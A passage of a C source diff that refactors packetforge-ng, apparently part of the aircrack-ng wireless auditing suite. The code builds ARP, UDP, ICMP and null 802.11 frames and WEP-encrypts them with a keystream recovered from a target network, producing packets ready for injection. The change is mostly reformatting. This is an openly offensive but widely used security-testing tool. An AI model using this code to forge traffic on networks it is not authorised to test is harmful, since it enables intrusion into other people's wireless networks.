-        if(n==1)
-        {
-            if(opt.first_packet == 1)
-            {
-                printf("Error no keystream in %s file is long enough (%d).\n", IVS2_EXTENSION, length);
-                return 1;
-            }
-            else
-                n = next_keystream(opt.prga, 1500, opt.bssid, length);
-        }
-    }
-
-    if(opt.prgalen-4 < length)
-    {
-        printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4));
-        return 1;
-    }
-
-    /* encrypt data */
-    for(n=0; n<length; n++)
-    {
-        cipher[n] = (data[n] ^ opt.prga[4+n]) & 0xFF;
-    }
-
-    memcpy(dest, cipher, length);
-
-    return 0;
+	/* encrypt data */
+	for (n = 0; n < length; n++)
+	{
+		cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
+	}
+
+	memcpy(dest, cipher, length);
+
+	return 0;
 }
 
-int create_wep_packet(unsigned char* packet, int *length)
+static int create_wep_packet(unsigned char * packet, int * length)
 {
-    if(packet == NULL) return 1;
+	if (packet == NULL) return 1;
 
-    /* write crc32 value behind data */
-    if( add_crc32(packet+24, *length-24) != 0 )               return 1;
+	/* write crc32 value behind data */
+	if (add_crc32(packet + 24, *length - 24) != 0) return 1;
 
-    /* encrypt data+crc32 and keep a 4byte hole */
-    if( encrypt_data(packet+28, packet+24, *length-20) != 0 ) return 1;
+	/* encrypt data+crc32 and keep a 4byte hole */
+	if (encrypt_data(packet + 28, packet + 24, *length - 20) != 0) return 1;
 
-    /* write IV+IDX right in front of the encrypted data */
-    if( set_IVidx(packet) != 0 )                             return 1;
+	/* write IV+IDX right in front of the encrypted data */
+	if (set_IVidx(packet) != 0) return 1;
 
-    /* set WEP bit */
-    packet[1] = packet[1] | 0x40;
+	/* set WEP bit */
+	packet[1] = packet[1] | 0x40;
 
-    *length+=8;
-    /* now you got yourself a shiny, brand new encrypted wep packet ;) */
+	*length += 8;
+	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
 
-    return 0;
+	return 0;
 }
 
-int read_raw_packet(unsigned char* dest, char* srcfile, int length)
+static int write_cap_packet(unsigned char * packet, const int length)
 {
-    size_t readblock;
-    FILE *f;
-
-    if(dest    == NULL) return 1;
-    if(srcfile == NULL) return 1;
-    if(length  <= 0   ) return 1;
-    if(length  >= 2048) return 1;
-
-    f = fopen(srcfile, "rb");
-    if(f == NULL)
-    {
-        perror("fopen failed.");
-        return 1;
-    }
-
-    readblock = fread(dest, (size_t)1, (size_t)length, f);
-    if(readblock != (size_t)length)
-    {
-        perror("fread failed");
-        fclose(f);
-        return 1;
-    }
-
-    fclose(f);
-    return 0;
-}
+	FILE * f;
+	struct pcap_file_header pfh;
+	struct pcap_pkthdr pkh;
+	struct timeval tv;
+	int n;
+
+	if (length <= 0)
+	{
+		printf("Invalid length, must be > 0.\n");
+		printf("Please report.\n");
+		return 1;
+	}
 
-int write_cap_packet(unsigned char* packet, int length)
-{
-    FILE *f;
-    struct pcap_file_header pfh;
-    struct pcap_pkthdr pkh;
-    struct timeval tv;
-    int n;
-
-    if( opt.cap_out == NULL )
-    {
-        printf("Please specify an output file (-w).\n");
-        return 1;
-    }
-
-    if(opt.first_packet)
-    {
-        if( ( f = fopen( opt.cap_out, "wb+" ) ) == NULL )
-        {
-            fprintf( stderr, "failed: fopen(%s,wb+)\n", opt.cap_out );
-            return( 1 );
-        }
-
-        pfh.magic           = TCPDUMP_MAGIC;
-        pfh.version_major   = PCAP_VERSION_MAJOR;
-        pfh.version_minor   = PCAP_VERSION_MINOR;
-        pfh.thiszone        = 0;
-        pfh.sigfigs         = 0;
-        pfh.snaplen         = 65535;
-        pfh.linktype        = LINKTYPE_IEEE802_11;
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fwrite( &pfh, 1, n, f ) != (size_t) n )
-        {
-            fprintf( stderr, "failed: fwrite(pcap file header)\n" );
-            fclose( f );
-            return( 1 );
-        }
-    }
-    else
-    {
-        if( ( f = fopen( opt.cap_out, "ab+" ) ) == NULL )
-        {
-            fprintf( stderr, "failed: fopen(%s,ab+)\n", opt.cap_out );
-            return( 1 );
-        }
-    }
-
-    gettimeofday( &tv, NULL );
-
-    pkh.tv_sec  = tv.tv_sec;
-    pkh.tv_usec = tv.tv_usec;
-    pkh.len     = length;
-    pkh.caplen  = length;
-
-    n = sizeof( pkh );
-
-    if( fwrite( &pkh, 1, n, f ) != (size_t) n )
-    {
-        fprintf( stderr, "fwrite(packet header) failed\n" );
-        fclose( f );
-        return( 1 );
-    }
-
-    n = length;
-
-    if( fwrite( packet, 1, n, f ) != (size_t) n )
-    {
-        fprintf( stderr, "fwrite(packet data) failed\n");
-        fclose( f );
-        return( 1 );
-    }
-
-    fclose( f );
-
-    if(opt.first_packet)
-        opt.first_packet = 0;
-
-    return 0;
+	if (opt.cap_out == NULL)
+	{
+		printf("Please specify an output file (-w).\n");
+		return 1;
+	}
+
+	if (opt.first_packet)
+	{
+		if ((f = fopen(opt.cap_out, "wb+")) == NULL)
+		{
+			fprintf(stderr, "failed: fopen(%s,wb+)\n", opt.cap_out);
+			return (1);
+		}
+
+		pfh.magic = TCPDUMP_MAGIC;
+		pfh.version_major = PCAP_VERSION_MAJOR;
+		pfh.version_minor = PCAP_VERSION_MINOR;
+		pfh.thiszone = 0;
+		pfh.sigfigs = 0;
+		pfh.snaplen = 65535;
+		pfh.linktype = LINKTYPE_IEEE802_11;
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fwrite(&pfh, 1, n, f) != (size_t) n)
+		{
+			fprintf(stderr, "failed: fwrite(pcap file header)\n");
+			fclose(f);
+			return (1);
+		}
+	}
+	else
+	{
+		if ((f = fopen(opt.cap_out, "ab+")) == NULL)
+		{
+			fprintf(stderr, "failed: fopen(%s,ab+)\n", opt.cap_out);
+			return (1);
+		}
+	}
+
+	gettimeofday(&tv, NULL);
+
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	pkh.len = length;
+	pkh.caplen = length;
+
+	n = sizeof(pkh);
+
+	if (fwrite(&pkh, 1, n, f) != (size_t) n)
+	{
+		fprintf(stderr, "fwrite(packet header) failed\n");
+		fclose(f);
+		return (1);
+	}
+
+	n = length;
+
+	if (fwrite(packet, 1, n, f) != (size_t) n)
+	{
+		fprintf(stderr, "fwrite(packet data) failed\n");
+		fclose(f);
+		return (1);
+	}
+
+	fclose(f);
+
+	if (opt.first_packet) opt.first_packet = 0;
+
+	return 0;
 }
 
-int read_prga(unsigned char **dest, char *file)
+static int read_prga(unsigned char ** dest, const char * file)
 {
-    FILE *f;
-    int size;
-    struct ivs2_filehdr fivs2;
-
-    if(file == NULL) return( 1 );
-    if(*dest == NULL) *dest = (unsigned char*) malloc(1501);
-
-    if( memcmp( file+(strlen(file)-4), ".xor", 4 ) != 0 && memcmp( file+(strlen(file)-4), "."IVS2_EXTENSION, 4 ) != 0 )
-    {
-        printf("Is this really a PRGA file: %s?\n", file);
-    }
-
-    f = fopen(file, "rb");
-
-    if(f == NULL)
-    {
-         printf("Error opening %s\n", file);
-         return( 1 );
-    }
-
-    fseek(f, 0, SEEK_END);
-    size = (int)ftell(f);
-    rewind(f);
-
-    if(size > 1500) size = 1500;
-
-    if( (int)fread( (*dest), size, 1, f ) != 1 )
-    {
-        fprintf( stderr, "fread failed\n" );
-        fclose( f );
-        return( 1 );
-    }
-
-    if( memcmp((*dest), IVS2_MAGIC, 4 ) == 0 )
-    {
-        if( (unsigned) size < sizeof(struct ivs2_filehdr) + 4)
-        {
-            fprintf( stderr, "No valid %s file.", IVS2_EXTENSION);
-            fclose( f );
-            return( 1 );
-        }
-        memcpy( &fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr));
-        if(fivs2.version > IVS2_VERSION)
-        {
-            printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION );
-        }
-
-        opt.ivs2 = f;
-        fseek(f, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr)-1, SEEK_SET);
-    }
-    else
-    {
-        //assuming old xor file
-        if( (*dest)[3] > 0x03 )
-        {
-            printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] );
-        }
-
-        opt.prgalen = size;
-        fclose( f );
-    }
-    return( 0 );
+	FILE * f;
+	int size;
+	struct ivs2_filehdr fivs2;
+
+	if (file == NULL) return (1);
+	if (*dest == NULL) *dest = (unsigned char *) malloc(1501);
+
+	if (memcmp(file + (strlen(file) - 4), ".xor", 4) != 0
+		&& memcmp(file + (strlen(file) - 4), "." IVS2_EXTENSION, 4) != 0)
+	{
+		printf("Is this really a PRGA file: %s?\n", file);
+	}
+
+	f = fopen(file, "rb");
+
+	if (f == NULL)
+	{
+		printf("Error opening %s\n", file);
+		return (1);
+	}
+
+	fseek(f, 0, SEEK_END);
+	size = ftell(f);
+	if (size == -1)
+	{
+		printf("Error getting file position %s\n", file);
+		fclose(f);
+		return (1);
+	}
+	rewind(f);
+
+	if (size > 1500) size = 1500;
+
+	if ((int) fread((*dest), size, 1, f) != 1)
+	{
+		fprintf(stderr, "fread failed\n");
+		fclose(f);
+		return (1);
+	}
+
+	if (memcmp((*dest), IVS2_MAGIC, 4) == 0)
+	{
+		if ((size_t) size < sizeof(struct ivs2_filehdr) + 4)
+		{
+			fprintf(stderr, "No valid %s file.", IVS2_EXTENSION);
+			fclose(f);
+			return (1);
+		}
+		memcpy(&fivs2, (*dest) + 4, sizeof(struct ivs2_filehdr));
+		if (fivs2.version > IVS2_VERSION)
+		{
+			printf("Error, wrong %s version: %d. Supported up to version %d.\n",
+				   IVS2_EXTENSION,
+				   fivs2.version,
+				   IVS2_VERSION);
+		}
+
+		opt.ivs2 = f;
+		fseek(
+			f, sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1, SEEK_SET);
+	}
+	else
+	{
+		// assuming old xor file
+		if ((*dest)[3] > 0x03)
+		{
+			printf("Are you really sure that this is a valid keystream? "
+				   "Because the index is out of range (0-3): %02X\n",
+				   (*dest)[3]);
+		}
+
+		opt.prgalen = (int) size;
+		fclose(f);
+	}
+	return (0);
 }
 
-int forge_arp()
+static int forge_arp(void)
 {
 
-    /* use arp request */
-    opt.pktlen = 60;
-    memcpy( h80211, ARP_REQ, opt.pktlen );
+	/* use arp request */
+	opt.pktlen = 60;
+	memcpy(h80211, ARP_REQ, opt.pktlen);
 
-    memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
+	memcpy(opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
 
-    if( set_tofromds(h80211) != 0 ) return 1;
-    if( set_bssid(h80211)    != 0 ) return 1;
-    if( set_smac(h80211)     != 0 ) return 1;
-    if( set_dmac(h80211)     != 0 ) return 1;
+	if (set_tofromds(h80211) != 0) return 1;
+	if (set_bssid(h80211) != 0) return 1;
+	if (set_smac(h80211) != 0) return 1;
+	if (set_dmac(h80211) != 0) return 1;
 
-    memcpy( h80211 + 40, opt.smac, 6 );
+	memcpy(h80211 + 40, opt.smac, 6);
 
-    if( set_dip(h80211, 56)  != 0 ) return 1;
-    if( set_sip(h80211, 46)  != 0 ) return 1;
+	if (set_dip(h80211, 56) != 0) return 1;
+	if (set_sip(h80211, 46) != 0) return 1;
 
-    return 0;
+	return 0;
 }
 
-int forge_udp()
+static int forge_udp(void)
 {
-    unsigned short chksum;
+	unsigned short chksum;
 
-    opt.pktlen = 61;
-    memcpy(h80211, UDP_PACKET, opt.pktlen);
+	opt.pktlen = 61;
+	memcpy(h80211, UDP_PACKET, opt.pktlen);
 
-    if( set_tofromds(h80211) != 0 ) return 1;
-    if( set_bssid(h80211)    != 0 ) return 1;
-    if( set_smac(h80211)     != 0 ) return 1;
-    if( set_dmac(h80211)     != 0 ) return 1;
+	if (set_tofromds(h80211) != 0) return 1;
+	if (set_bssid(h80211) != 0) return 1;
+	if (set_smac(h80211) != 0) return 1;
+	if (set_dmac(h80211) != 0) return 1;
 
-    if( set_dip(h80211, 48)  != 0 ) return 1;
-    if( set_sip(h80211, 44)  != 0 ) return 1;
-    if( opt.ttl != -1 )
-        if( set_ip_ttl(h80211) != 0 ) return 1;
+	if (set_dip(h80211, 48) != 0) return 1;
+	if (set_sip(h80211, 44) != 0) return 1;
+	if (opt.ttl != -1)
+		if (set_ip_ttl(h80211) != 0) return 1;
 
-    if( set_ipid(h80211, 36)  != 0 ) return 1;
+	if (set_ipid(h80211, 36) != 0) return 1;
 
-    /* set udp length */
-    h80211[57] = '\x09';
+	/* set udp length */
+	h80211[57] = '\x09';
 
-    /* generate + set ip checksum */
-    chksum = ip_chksum((unsigned short*)(h80211+32), 20);
-    memcpy(h80211+42, &chksum, 2);
+	/* generate + set ip checksum */
+	chksum = ip_chksum((unsigned short *) (h80211 + 32), 20);
+	memcpy(h80211 + 42, &chksum, 2);
 
-    return 0;
+	return 0;
 }
 
-int forge_icmp()
+static int forge_icmp(void)
 {
-    unsigned short chksum;
+	unsigned short chksum;
 
-    opt.pktlen = 60;
-    memcpy(h80211, ICMP_PACKET, opt.pktlen);
+	opt.pktlen = 60;
+	memcpy(h80211, ICMP_PACKET, opt.pktlen);
 
-    if(memcmp(opt.dmac, NULL_MAC, 6) == 0)
-    {
-        memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
-    }
+	if (memcmp(opt.dmac, NULL_MAC, 6) == 0)
+	{
+		memcpy(opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+	}
 
-    if( set_tofromds(h80211) != 0 ) return 1;
-    if( set_bssid(h80211)    != 0 ) return 1;
-    if( set_smac(h80211)     != 0 ) return 1;
-    if( set_dmac(h80211)     != 0 ) return 1;
+	if (set_tofromds(h80211) != 0) return 1;
+	if (set_bssid(h80211) != 0) return 1;
+	if (set_smac(h80211) != 0) return 1;
+	if (set_dmac(h80211) != 0) return 1;
 
-    if( set_dip(h80211, 48)  != 0 ) return 1;
-    if( set_sip(h80211, 44)  != 0 ) return 1;
-    if( opt.ttl != -1 )
-        if( set_ip_ttl(h80211) != 0 ) return 1;
+	if (set_dip(h80211, 48) != 0) return 1;
+	if (set_sip(h80211, 44) != 0) return 1;
+	if (opt.ttl != -1)
+		if (set_ip_ttl(h80211) != 0) return 1;
 
-    if( set_ipid(h80211, 36)  != 0 ) return 1;
+	if (set_ipid(h80211, 36) != 0) return 1;
 
-    /* generate + set ip checksum */
-    chksum = ip_chksum((unsigned short*)(h80211+32), 20);
-    memcpy(h80211+42, &chksum, 2);
+	/* generate + set ip checksum */
+	chksum = ip_chksum((unsigned short *) (h80211 + 32), 20);
+	memcpy(h80211 + 42, &chksum, 2);
 
-    return 0;
+	return 0;
 }
 
-int forge_null()
+static int forge_null(void)
 {
-    opt.pktlen = opt.size;
-    memcpy(h80211, NULL_PACKET, 24);
-    memset(h80211+24, '\0', (opt.pktlen - 24));
+	opt.pktlen = opt.size;
+	memcpy(h80211, NULL_PACKET, 24);
+	memset(h80211 + 24, '\0', (opt.pktlen - 24));
 
-    if(memcmp(opt.dmac, NULL_MAC, 6) == 0)
-    {
-        memcpy( opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 );
-    }
+	if (memcmp(opt.dmac, NULL_MAC, 6) == 0)
+	{
+		memcpy(opt.dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6);
+	}
 
-    if( set_tofromds(h80211) != 0 ) return 1;
-    if( set_bssid(h80211)    != 0 ) return 1;
-    if( set_smac(h80211)     != 0 ) return 1;
-    if( set_dmac(h80211)     != 0 ) return 1;
+	if (set_tofromds(h80211) != 0) return 1;
+	if (set_bssid(h80211) != 0) return 1;
+	if (set_smac(h80211) != 0) return 1;
+	if (set_dmac(h80211) != 0) return 1;
 
-    if( opt.pktlen > 26 )
-        h80211[26]=0x03;
+	if (opt.pktlen > 26) h80211[26] = 0x03;
 
-    return 0;
+	return 0;
 }
 
-int forge_custom()
+static int forge_custom(void)
 {
-    if(capture_ask_packet( &opt.pktlen ) != 0) return 1;
-//    if(read_raw_packet(h80211, opt.raw_file, opt.pktlen) != 0) return 1;
-
-    if( set_tofromds(h80211) != 0 ) return 1;
-
-    if(memcmp(opt.bssid, NULL_MAC, 6) != 0)
-    {
-        if( set_bssid(h80211) != 0 ) return 1;
-    }
-    if(memcmp(opt.dmac, NULL_MAC, 6) != 0)
-    {
-        if( set_dmac(h80211) != 0 ) return 1;
-    }
-    if(memcmp(opt.smac, NULL_MAC, 6) != 0)
-    {
-        if( set_smac(h80211) != 0 ) return 1;
-    }
-
-    return 0;
+	if (capture_ask_packet(&opt.pktlen) != 0) return 1;
+	//    if(read_raw_packet(h80211, opt.raw_file, opt.pktlen) != 0) return 1;
+
+	if (set_tofromds(h80211) != 0) return 1;
+
+	if (memcmp(opt.bssid, NULL_MAC, 6) != 0)
+	{
+		if (set_bssid(h80211) != 0) return 1;
+	}
+	if (memcmp(opt.dmac, NULL_MAC, 6) != 0)
+	{
+		if (set_dmac(h80211) != 0) return 1;
+	}
+	if (memcmp(opt.smac, NULL_MAC, 6) != 0)
+	{
+		if (set_smac(h80211) != 0) return 1;
+	}
+
+	return 0;
 }
 
-void print_usage(void)
+static void print_usage(void)
 {
-    char *version_info = getVersion("Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-    printf(usage, version_info);
-    free(version_info);
+	char * version_info = getVersion(
+		"Packetforge-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
+	printf(usage, version_info);
+	free(version_info);
 }
 
-int main(int argc, char* argv[])
+int main(int argc, char * argv[])
 {
-    int arg;
-    int option_index;
-    int ret;
-    int n;
-
-    memset( &opt, 0, sizeof( opt ) );
-
-    /* initialise global options */
-    memset(opt.bssid, '\x00', 6);
-    memset(opt.dmac,  '\x00', 6);
-    memset(opt.smac,  '\x00', 6);
-    memset(opt.dip,   '\x00', 4);
-    memset(opt.sip,   '\x00', 4);
-    memset(opt.fctrl, '\x00', 2);
-
-    opt.prga     = NULL;
-    opt.cap_out  = NULL;
-    opt.raw_file = NULL;
-
-    opt.mode    = -1;
-    opt.pktlen  = -1;
-    opt.prgalen = -1;
-    opt.ttl     = -1;
-
-    opt.sport   = -1;
-    opt.dport   = -1;
-
-    opt.tods    =  1;
-    opt.fromds  =  0;
-    opt.encrypt =  1;
-
-    opt.size    = 30;
-
-    opt.ivs2    = NULL;
-    memset(opt.prev_bssid, '\x00', 6);
-
-    opt.first_packet    = 1;
-    opt.num_packets      = 1;
-
-    srand(time(NULL));
-
-    while( 1 )
-    {
-        static struct option long_options[] = {
-            {"arp",      0, 0, '0'},
-            {"udp",      0, 0, '1'},
-            {"icmp",     0, 0, '2'},
-            {"null",     0, 0, '3'},
-            {"custom",   0, 0, '9'},
-            {"help",     0, 0, 'H'},
-            {0,          0, 0,  0 }
-        };
-
-        int option;
-	option_index = 0;
-	option = getopt_long( argc, argv,
-                        "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:",
-                        long_options, &option_index );
-
-        if( option < 0 ) break;
-
-        switch( option )
-        {
-            case 0 :
-                break;
-
-            case ':' :
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case '?' :
-                printf("\"%s --help\" for help.\n", argv[0]);
-                return( 1 );
-
-            case 'p' :
-
-                ret = sscanf( optarg, "%x", &arg );
-                if( arg < 0 || arg > 65535 || ret != 1)
-                {
-                    printf( "Invalid frame control word. [0-65535]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.fctrl[0]=((arg>>8)&0xFF);
-                opt.fctrl[1]=(arg&0xFF);
-                break;
-
-            case 't' :
-
-                ret = sscanf( optarg, "%i", &arg );
-                if( arg < 0 || arg > 255 || ret != 1)
-                {
-                    printf( "Invalid time to live. [0-255]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.ttl = arg;
-                break;
-
-            case 'n' :
-
-                ret = sscanf( optarg, "%i", &arg );
-                if( arg <= 0 || ret != 1)
-                {
-                    printf( "Invalid number of packets. [>=1]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.num_packets = arg;
-                break;
-
-            case 'a' :
-
-                if( getmac( optarg, 1, opt.bssid ) != 0 )
-                {
-                    printf( "Invalid AP MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'c' :
-
-                if( getmac( optarg, 1, opt.dmac ) != 0 )
-                {
-                    printf( "Invalid destination MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'h' :
-
-                if( getmac( optarg, 1, opt.smac ) != 0 )
-                {
-                    printf( "Invalid source MAC address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'j' :
-
-                opt.fromds = 1;
-                break;
-
-            case 'o' :
-
-                opt.tods = 0;
-                break;
-
-            case 'e' :
-
-                opt.encrypt = 0;
-                break;
-
-            case 'r' :
-
-                if( opt.raw_file != NULL )
-                {
-                    printf( "Packet source already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.raw_file = optarg;
-                break;
-
-            case 'y' :
-
-                if( opt.prga != NULL )
-                {
-                    printf( "PRGA file already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                if( read_prga(&(opt.prga), optarg) != 0 )
-                {
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                break;
-
-            case 'w' :
-
-                if( opt.cap_out != NULL )
-                {
-                    printf( "Output file already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.cap_out = optarg;
-
-                break;
-
-            case 'k' :
-
-                if( getip(optarg, opt.dip, &(opt.dport)) != 0 )
-                {
-                    printf( "Invalid destination IP address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return 1;
-                }
-                break;
-
-            case 'l' :
-
-                if( getip(optarg, opt.sip, &(opt.sport)) != 0 )
-                {
-                    printf( "Invalid source IP address.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return 1;
-                }
-                break;
-
-            case 's' :
-
-                ret = sscanf( optarg, "%i", &arg );
-                if( arg < 26 || arg > 1520 || ret != 1)
-                {
-                    printf( "Invalid packet size. [26-1520]\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.size = arg;
-                break;
-
-            case '0' :
-
-                if( opt.mode != -1 )
-                {
-                    printf( "Mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.mode = 0;
-
-                break;
-
-            case '1' :
-
-                if( opt.mode != -1 )
-                {
-                    printf( "Mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.mode = 1;
-                break;
-
-            case '2' :
-
-                if( opt.mode != -1 )
-                {
-                    printf( "Mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.mode = 2;
-                break;
-
-            case '3' :
-
-                if( opt.mode != -1 )
-                {
-                    printf( "Mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.mode = 3;
-                break;
-
-            case '9' :
-
-                if( opt.mode != -1 )
-                {
-                    printf( "Mode already specified.\n" );
-                    printf("\"%s --help\" for help.\n", argv[0]);
-                    return( 1 );
-                }
-                opt.mode = 9;
-                break;
-
-            case 'H' :
-
-                print_usage();
-                return( 1 );
-
-            default : break;
-
-        }
-    }
-
-    if(argc == 1)
-    {
-        print_usage();
-        printf("Please specify a mode.\n");
-        return( 1 );
-    }
-
-    if( opt.raw_file != NULL )
-    {
-        if( ! ( dev.f_cap_in = fopen( opt.raw_file, "rb" ) ) )
-        {
-            perror( "open failed" );
-            return( 1 );
-        }
-
-        n = sizeof( struct pcap_file_header );
-
-        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
-        {
-            perror( "fread(pcap file header) failed" );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic != TCPDUMP_MAGIC &&
-            dev.pfh_in.magic != TCPDUMP_CIGAM )
-        {
-            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
-                             "TCPDUMP_MAGIC).\n", opt.raw_file );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.magic == TCPDUMP_CIGAM )
-            SWAP32(dev.pfh_in.linktype);
-
-        if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 &&
-            dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER &&
-            dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR &&
-            dev.pfh_in.linktype != LINKTYPE_PPI_HDR )
-        {
-            fprintf( stderr, "Wrong linktype from pcap file header "
-                             "(expected LINKTYPE_IEEE802_11) -\n"
-                             "this doesn't look like a regular 802.11 "
-                             "capture.\n" );
-            return( 1 );
-        }
-    }
-
-    for(n=0; n<opt.num_packets; n++)
-    {
-        switch (opt.mode)
-        {
-            case 0:
-                if( forge_arp() != 0 )
-                {
-                    printf("Error building an ARP packet.\n");
-                    return 1;
-                }
-                break;
-            case 1:
-                if( forge_udp() != 0 )
-                {
-                    printf("Error building an UDP packet.\n");
-                    return 1;
-                }
-                break;
-            case 2:
-                if( forge_icmp() != 0 )
-                {
-                    printf("Error building an ICMP packet.\n");
-                    return 1;
-                }
-                break;
-
-            case 3:
-                if( forge_null() != 0 )
-                {
-                    printf("Error building a NULL packet.\n");
-                    return 1;
-                }
-                break;
-
-            case 9:
-                if( forge_custom() != 0 )
-                {
-                    printf("Error building a custom packet.\n");
-                    return 1;
-                }
-                break;
-            default:
-                    print_usage();
-                    printf("Please specify a mode.\n");
-                    return 1;
-        }
-
-        if(opt.encrypt)
-        {
-            if( create_wep_packet(h80211, &(opt.pktlen)) != 0 )
-                    return 1;
-        }
-        else
-        {
-            /* set WEP bit = 0 */
-            h80211[1] = h80211[1] & 0xBF;
-        }
-
-        if( write_cap_packet(h80211, opt.pktlen) != 0 )
-        {
-            printf("Error writing pcap file %s.\n", opt.cap_out);
-            return 1;
-        }
-    }
-    printf( "Wrote packet%s to: %s\n", (opt.num_packets > 1?"s":""), opt.cap_out );
-
-    if(opt.ivs2)
-        fclose(opt.ivs2);
-
-    return 0;
+	int arg;
+	int option_index;
+	int ret;
+	int n;
+
+	memset(&opt, 0, sizeof(opt));
+
+	/* initialise global options */
+	memset(opt.bssid, '\x00', 6);
+	memset(opt.dmac, '\x00', 6);
+	memset(opt.smac, '\x00', 6);
+	memset(opt.dip, '\x00', 4);
+	memset(opt.sip, '\x00', 4);
+	memset(opt.fctrl, '\x00', 2);
+
+	opt.prga = NULL;
+	opt.cap_out = NULL;
+	opt.raw_file = NULL;
+
+	opt.mode = -1;
+	opt.pktlen = -1;
+	opt.prgalen = -1;
+	opt.ttl = -1;
+
+	opt.sport = -1;
+	opt.dport = -1;
+
+	opt.tods = 1;
+	opt.fromds = 0;
+	opt.encrypt = 1;
+
+	opt.size = 30;
+
+	opt.ivs2 = NULL;
+	memset(opt.prev_bssid, '\x00', 6);
+
+	opt.first_packet = 1;
+	opt.num_packets = 1;
+
+	srand(time(NULL));
+
+	while (1)
+	{
+		static struct option long_options[] = {{"arp", 0, 0, '0'},
+											   {"udp", 0, 0, '1'},
+											   {"icmp", 0, 0, '2'},
+											   {"null", 0, 0, '3'},
+											   {"custom", 0, 0, '9'},
+											   {"help", 0, 0, 'H'},
+											   {0, 0, 0, 0}};
+
+		int option;
+		option_index = 0;
+		option = getopt_long(argc,
+							 argv,
+							 "p:a:c:h:jok:l:j:r:y:01239w:et:s:Hn:",
+							 long_options,
+							 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+				break;
+
+			case ':':
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'p':
+
+				ret = sscanf(optarg, "%x", &arg);
+				if (arg < 0 || arg > 65535 || ret != 1)
+				{
+					printf("Invalid frame control word. [0-65535]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.fctrl[0] = ((arg >> 8) & 0xFF);
+				opt.fctrl[1] = (arg & 0xFF);
+				break;
+
+			case 't':
+
+				ret = sscanf(optarg, "%i", &arg);
+				if (arg < 0 || arg > 255 || ret != 1)
+				{
+					printf("Invalid time to live. [0-255]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.ttl = arg;
+				break;
+
+			case 'n':
+
+				ret = sscanf(optarg, "%i", &arg);
+				if (arg <= 0 || ret != 1)
+				{
+					printf("Invalid number of packets. [>=1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.num_packets = arg;
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'c':
+
+				if (getmac(optarg, 1, opt.dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
